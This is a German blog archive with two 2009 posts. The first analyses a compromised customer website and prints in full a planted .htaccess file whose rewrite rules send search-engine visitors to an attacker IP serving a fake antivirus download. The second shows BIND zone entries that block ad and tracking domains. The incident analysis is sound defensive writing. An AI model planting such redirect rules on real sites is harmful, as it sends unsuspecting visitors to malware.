Archiv für die Kategorie „Internet“

Fehlgeleitet: Webseiten-Schädlingsbefall

Donnerstag, 18. Juni 2009

Bei einer Analyse einer Kunden-Domain fiel die .htaccess-Datei ins Auge:


RewriteEngine On
RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC]
RewriteRule .* http://87.248.180.89/topic.html?s=s [R,L]

Sie stammt nicht vom Kunden, sondern ein Cracker hatte sich die FTP-Zugangsdaten per trojanischem Pferd vom Windows-Rechner des Kunden erschlichen. Mit diesen Zugangsdaten wurde dann obige .htaccess-Datei auf den Kunden-Webspace hochgeladen, außerdem auch einige Casino-/Porno-Links in einen <noframes>-Bereich der Webseite untergebracht.

Das perfide ist aber die .htaccess-Datei. Sie weist das Apache-Modul mod_rewrite an bei eingehenden Anforderungen an den Webserver zu prüfen, von wo der Surfer kommt (HTTP_REFERER). Hat der Surfer einen harmlosen Treffer auf einer Suchmaschinenseite angeklickt, die zu eben jener Kundenpräsenz führt, dann greifen obige Regeln: Kommt man von *oogle.*, *aol.* etc., dann greift die letzte Zeile mit der Regel (RewriteRule): Umleiten des Surfers auf die angegebene Adresse 87.248.180.89. Somit bekommt man bspw. von Google aus einen Treffer zu Brotbackautomaten, den man anklickt, landet aber nach dem Klick nicht auf der Brotbackautomaten-Seite, sondern auf der Seite des Schädlingsautors.

Dort war bisher eine Website zu finden, die in der Aufmachung an einen Virenscanner unter Windows XP erinnerte. Elemente waren so gezeichnet, dass sie wie Windows-Fenster aussahen. Dazu wurden Icons von Festplattenlaufwerken C: und D: eingeblendet und ein Fortschrittsbalken, der einen Überprüfungsvorgang der vermeintlichen Antiviren-Software aussah.

Und natürlich fand diese angebliche Überprüfung der angeblich eigenen Festplatte dann auch gleich Treffer: eine Warnmeldung schlug vor, gegen den gerade gefundenen Virus doch gleich das Gegenmittel herunterzuladen und zu starten.

Wenn man das dann getan hätte, hätte sich der Kreis geschlossen: ein weiterer PC wäre mit einem Schädling befallen gewesen, der dann im Hintergrund und unauffällig alles mit Windows hätte tun können: Tastatureingaben mitlesen und nach draußen übermitteln, als Spam-Drohne dienen (im Auftrag von anderen hätte der eigene PC dann unbemerkt Spam-Mails versandt) und/oder Teil eines Bot-Netzes zu werden.

Der Provider der Schädlingsseite hat nun den Webspace gelöscht oder abgedreht, die Seite ist nicht mehr erreichbar.

Schwurbelnde Anzeigen und mehr Datenschutz

Mittwoch, 13. Mai 2009

Man öffnet ein Dutzend Tabs im Web-Browser der Wahl. Man liest einen Artikel. Nach zwei Minuten fängt das ansonsten fast unhörbare Laptop an, zu lüften. Nach einer weiteren Minute lüftet es kräftig. Man ist genervt von dem Krach. Man sieht nach warum der Prozessor auf einmal so viel zu tun hat: eine Werbefläche, bei der verschiedene Banner gezoomt und bewegt werden, per JavaScript. Und dafür 80% CPU-Last? Nein, danke, Adrolays.

Tage später stelle ich fest, wieviele Seiten inzwischen meine Webseitenzugriffe bei zentralen Diensten wie Google oder 123count registrieren lassen – oft ohne mich darüber in Kenntnis zu setzen. Zwar protokolliert eh fast jeder Webserver meine Zugriffe lokal, aber eine zentrale Speicherung ist gerade bei großen Anbietern für mich unerwünscht. Firmen wie Google können durch die Kombination ihrer Logfiles aus Google Analytics und ihrer Doubleclick-Dienste für Werbeanzeigen sehr genau verfolgen, wo im Web ich mich von wo nach wo bewege. Lokal gespeicherte Webserver-Logs können das nicht bieten.

Einzeln betrachtet sind diese Protokollierungen harmlos. Wenn jedoch sehr viele von mir besuchte Webseiten Werbeanzeigen von diesen Diensten beziehen und/oder Google Analytics oder einen verwandten Dienst einsetzen, dann liegt ein nahezu vollständiges Profil von dem vor, was ich mir den Tag über im Web ansehe. Das möchte ich nicht.

Spätestens bei dem Gezerre um 2o7.net war bei mir das Maß voll. Adobe-Programme versuchten die Adresse 192.168.112.2O7.net zu erreichen. Auf einen schnellen Blick sieht das wie eine private RFC1918-Adresse aus, die das eigene lokale Rechner-Netzwerk nicht verlassen kann und somit harmlos ist. Auf den zweiten Blick sieht man aber, dass 2O7 eben nicht 207 ist, sondern 2-„Buchstabe O“-7 und das .net hinten zeigt endgültig, dass es keine lokale IP-Adresse ist, sondern die gültige Domain 2o7.net. Adobes Erklärungen zu dieser Tarn-und-Täusch-Technik dazu sind schwammig, siehe auch den Adobe-TechNote- und den TUAW-Artikel dazu. Adobe wollte zwar den leicht irreführenden Servernamen in etwas weniger irritierendes ändern, aber brauche ich 2o7.net? Nein.

Was tun gegen schwurbelnde Anzeigen, die den Prozessor unnötig auslasten, und gegen missliebige Protokollierungen von seltsamen Diensten? Man unterbindet beispielsweise die Namensauflösung. Alle diese Dienste wollen auf ihren Webserver zugreifen, der unter google-analytics.com, 2o7.net oder 123count.com erreichbar ist – solange die Auflösung dieser Namen zu IP-Adressen funktioniert.

Diese Auflösung bricht man mittels eines eigenen Nameservers auf, in meinem Fall BIND 9.

Dazu schreibt man in die Datei /etc/bind/named.conf.local Einträge wie in meinem Fall:


zone "2o7.net" IN {
   type master;
   file "/etc/bind/noooooooooob";
};
zone "123count.com" IN {
   type master;
   file "/etc/bind/noooooooooob";
};
zone "doubleclick.net" IN {
   type master;
   file "/etc/bind/noooooooooob";
};
zone "adrolays.de" IN {
   type master;
   file "/etc/bind/noooooooooob";
};
zone "google-analytics.com" IN {
   type master;
   file "/etc/bind/noooooooooob";
};
zone "trackingcenter.de" IN {
   type master;
   file "/etc/bind/noooooooooob";
};
zone "anzeigenlieferant.de" IN {
   type master;
   file "/etc/bind/noooooooooob";
};

und legt dann eine neue Datei /etc/bind/noooooooooob an:

$TTL 3h
@ IN SOA NameDesServers root.NameDesServers (
   1 ; serial
   3h ; refresh 3h
   1h ; retry 1h
   1w ; expire 1w
   3h ; minimum
  )
 NS NameDesServers

Nach einem Neustart des Nameserver-Diensts sind die Namen nicht mehr auflösbar:
meinrechner:~ gh$ telnet 2o7.net 80
2o7.net: nodename nor servname provided, or not known

Es gibt zwar Plugins bspw. für Web-Browser, die Werbung ausfiltern, aber zum einen erscheint das Gebaren der Autoren manchmal pubertär, zum anderen sind damit eben nur Web-Browser abgedeckt. 2o7 wird aber gerne auch von Adobe-Programmen genutzt. Mit der Lösung über den Nameserver sind alle Namensauflösungen unterbunden. Wer mehr Paranoia mitbringt, muss aber auch die festen IP-Adressen der unerwünschten Server ermitteln und per Paketfilter abfangen. Das habe ich mir dann (noch) gespart.

Das ist nun alles nichts neues und definitiv keine Relativitätstheorie und kein „As we may think“. Die Wirbel-Schwurbel-Anzeigen mit hörbaren Lüftungsfolgen gaben aber den Anschub, meine langsam wachsenden Zonendefinitionen zu veröffentlichen.